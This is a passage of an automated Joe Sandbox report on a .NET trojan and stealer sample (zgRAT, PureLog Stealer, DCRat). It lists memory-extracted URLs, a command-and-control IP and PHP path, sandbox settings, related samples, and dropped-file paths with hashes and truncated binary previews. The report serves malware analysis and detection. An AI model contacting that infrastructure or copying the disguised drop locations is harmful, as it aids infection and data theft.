00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000013.00000002.2897492105.000002338B200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	false		high
https://www.ecosia.org/newtab/	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CnkpnRA30S.16.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWind	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.000000000336B000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ion=v4.5	powershell.exe, 00000001.00000002.2674259117.0000018873300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1831369423.0000018800228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3978000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44498000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7299000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1831369423.0000018800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3751000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438221000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	CnkpnRA30S.16.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
86.110.194.28	unknown	Russian Federation		208861	RACKTECHRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583843
Start date and time:	2025-01-03 18:26:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	lEwK4xROgV.exe renamed because original name is a hash value
Original Sample Name:	6275c7746a9ce8e5e2fc05271e47bac9.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@27/375@0/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.56.254.164, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 3716 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3940 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6824 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6852 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: lEwK4xROgV.exe

Simulations

Behavior and APIs

Time	Type	Description
12:27:01	API Interceptor	163x Sleep call for process: powershell.exe modified
12:27:16	API Interceptor	221508x Sleep call for process: kOfFkekrfoWUJKTEEHXqPfq.exe modified
12:27:17	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
86.110.194.28	zZ1Y43bxxV.exe	Get hash	malicious	DCRat	Browse	86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php
86.110.194.28	updIMdPUj8.exe	Get hash	malicious	DCRat	Browse	86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RACKTECHRU	zZ1Y43bxxV.exe	Get hash	malicious	DCRat	Browse	86.110.194.28
	updIMdPUj8.exe	Get hash	malicious	DCRat	Browse	86.110.194.28
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	91.223.144.119
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	193.38.236.134
	oyCvLcfl3R.exe	Get hash	malicious	XenoRAT	Browse	194.113.106.81
	qsKo.ps1	Get hash	malicious	RHADAMANTHYS	Browse	194.113.106.180
	GsrDwm0DJG.ps1	Get hash	malicious	RHADAMANTHYS	Browse	194.113.106.180
	HeggBkMoYE.ps1	Get hash	malicious	RHADAMANTHYS	Browse	194.113.106.180
	b2J6hgvd51.elf	Get hash	malicious	Unknown	Browse	45.128.232.191
	TbFoReHi2v.elf	Get hash	malicious	Mirai	Browse	45.128.232.235

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\AGJFDLPU.log	zZ1Y43bxxV.exe	Get hash	malicious	DCRat	Browse
	VqGD18ELBM.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	updIMdPUj8.exe	Get hash	malicious	DCRat	Browse
	f3I38kv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	r6cRyCpdfS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Z4D3XAZ2jB.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	cbCjTbodwa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	vb8DOBZQ4X.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	XNPOazHpXF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	9FwQYJSj4N.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Windows Portable Devices\97e8683a328693

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with very long lines (629), with no line terminators
Category:	dropped
Size (bytes):	629
Entropy (8bit):	5.856305232680563
Encrypted:	false
SSDEEP:	12:jE1l4XQ1oGzQ5cndXM+GabqpDVN7PNgj8cm:IY+dXNGabqLNzNZ
MD5:	EB8C981F0B28D60F59C5A632747C5A4E
SHA1:	0683F05C4AA6CCA5F8739630113F685290A643FC
SHA-256:	EC2B1D368207E836BF760E0A7D0EFF3A8A43AD52973739910E8566DEFF43A0FE
SHA-512:	A0DB2E673F6ABF1A3772F6006D4CFA72828147E27DCBBFA8EF8AF34F58CEAE737ADB960F059B1BFB92B90F07323B66402416C22559035BFEC03AD37216F8533F
Malicious:	false
Preview:	Ch3NELg0KpwtaNKis9wFQLkTRZmPJUkPhdw8Tz8nLvOqYrF13pjeHcW17j6piRqzFhM6bLO3AI3f635jTvVdvFHEH4Au2SE4EZl0fIasbqd8i15EoWVx6NE9ZHygKeArD9agSEELVnCFmIgQ96Fg7R80UlaXT3h6pv4jaYvkSKbTK9XRligNZeuwAjMqnr1bFGZ0N6zlLfNx0pqVOJvuXUhLAIi0MF6kSANEjgDot5C3Q76V31bd5GEujOzFY9YFime0blvsGGBbRn4DMM6UndoL5dfVr8Qug6VndG4RFtXzFnd5Tw2LCEbF7S48GZBI0R4URRkGSpO4FzGS9jC4FErcfQpKL5LpsP8xsInCMw2Xzh9ILl8gXGCvjczBlZ5WdjL00Tk169sTLUn7Rh9j7oRmMNNQSmaw0g3QWIR1BGkXXtjPy2uEZVZzRjnnGUjTj5cpaXkIPHi0D3Odo7ba1VXfGE9xfovrhQybQ3ybRmzRxivXUK9I3JbOi6jWXxmlV0TwFxMuJ9IPgFshSlcVpnyYzj3TUbDd9N56P9Rh7O93ALscOBEvUR6sC47g32ar5oQSJwSTU5Xao4Xn1aFSWRIrRN3UBvnExR8V5ZTctvbZ4fEIhUodx

C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3966976
Entropy (8bit):	7.30342031524926
Encrypted:	false
SSDEEP:	49152:eqoEZMtkhYeVS/DqvypgwR9uVd7TfeBtF+99CutuvTC82K:eqoyMtkCeVSreqgwRmleBtF+7Cutuvv
MD5:	6275C7746A9CE8E5E2FC05271E47BAC9
SHA1:	6E602C5D626AEDCC9006C18B5DCB4285265501F0
SHA-256:	A289B8BE605D9A1D0B7D4F30290A2CE798AA6B70E2A7440FEC0E07625B50FD73
SHA-512:	A2A40AFA60A73BBFFCCA2CE7FD53673E60A26D035FB82FBDE995B0434B473EA4CC6DA3EDF158F943154EA869BF7F2448421AE3948038BAFBC9E12E619660747E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................<.........N.<.. ....<...@.. ........................<...........@...................................<.K.....<.p.....................<...................................................... ............... ..H............text...T~<.. ....<................. ..`.rsrc...p.....<.......<.............@....reloc........<.......<.............@..B................0.<.....H.......xm..t............T..u.".v.<......................................0..........(.... ........8........E....]..........)...N...8X...(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....8{....0..........+.(%I.\ ........8........E....=...................M...88...8.... ....8....~....:.... ....~....{....:....& ....8.......... ....8....~....(.... .... .... ....s....~....(........ ....~....{....:V...& ....8K...r...ps....z*....~....(

C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Common Files\Adobe\HelpCfg\en_US\97e8683a328693

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with very long lines (313), with no line terminators
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.825752915341967
Encrypted:	false
SSDEEP:	6:yW4UHHP1i+K0VSFJp0PLc5u7xzQ2HSFBKBtxCAZd0Ji1pZfofCfu0Sn:F4Ed3K0VSKDUiQ2yFyxCAgJEvaCUn
MD5:	6EE71D3D0F6BC4927CEA61206CD70E88
SHA1:	D59F701BF5838CA7F339DC2D6F459CD3382C34B7
SHA-256:	BD52AF9AA17B4A8BE5F912D171EE8C72659FB362F8F496CDA8DCAD4416688636
SHA-512:	1EBD32DCFF305D661739BE4F92A088379D5A88F9F3EE54E030FEB8BDB82ABA9EC8CF0B06F050F105A9ADDEA144A63DD196AC5C7F98E51D853D81A8924DE2EF94
Malicious:	false
Preview:	Ub30pFB0C5MSVDj7eHSlV3jTVgQOWE8waYZS3ivmkr8qEN5nf4mBV37b1jeIywe76Z26oRE6WqBo52PHkmtbc7bga7aUDmxxMAuoV89N0poo2Tg9TXhLCDf88Wfq0t3u2Nb4HlwlnflwSwnGbaApEmvJevq9dTXGw4wo1l1sl5igbsqLsYOZtNpQcSaW5xIUIeAYA9O0jREIEOrvFeQEE7XiPgMjKexyxNY7sRLtJX0bJgLNloRagEPKHcIexpqEePV00uDxSh4rH5YsU88fNWRs8OzQJr5erv74KVX0leH8JiCLDZJyrK1H7

C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3966976
Entropy (8bit):	7.30342031524926
Encrypted:	false
SSDEEP:	49152:eqoEZMtkhYeVS/DqvypgwR9uVd7TfeBtF+99CutuvTC82K:eqoyMtkCeVSreqgwRmleBtF+7Cutuvv
MD5:	6275C7746A9CE8E5E2FC05271E47BAC9
SHA1:	6E602C5D626AEDCC9006C18B5DCB4285265501F0
SHA-256:	A289B8BE605D9A1D0B7D4F30290A2CE798AA6B70E2A7440FEC0E07625B50FD73
SHA-512:	A2A40AFA60A73BBFFCCA2CE7FD53673E60A26D035FB82FBDE995B0434B473EA4CC6DA3EDF158F943154EA869BF7F2448421AE3948038BAFBC9E12E619660747E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................<.........N.<.. ....<...@.. ........................<...........@...................................<.K.....<.p.....................<...................................................... ............... ..H............text...T~<.. ....<................. ..`.rsrc...p.....<.......<.............@....reloc........<.......<.............@..B................0.<.....H.......xm..t............T..u.".v.<......................................0..........(.... ........8........E....]..........)...N...8X...(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....8{....0..........+.(%I.\ ........8........E....=...................M...88...8.... ....8....~....:.... ....~....{....:....& ....8.......... ....8....~....(.... .... .... ....s....~....(........ ....~....{....:V...& ....8K...r...ps....z*....~....(

C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073497955654516
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr5:KooCEYhgYEL0In
MD5:	BFAB39E2ECE06A43539BDDEA7B30B533
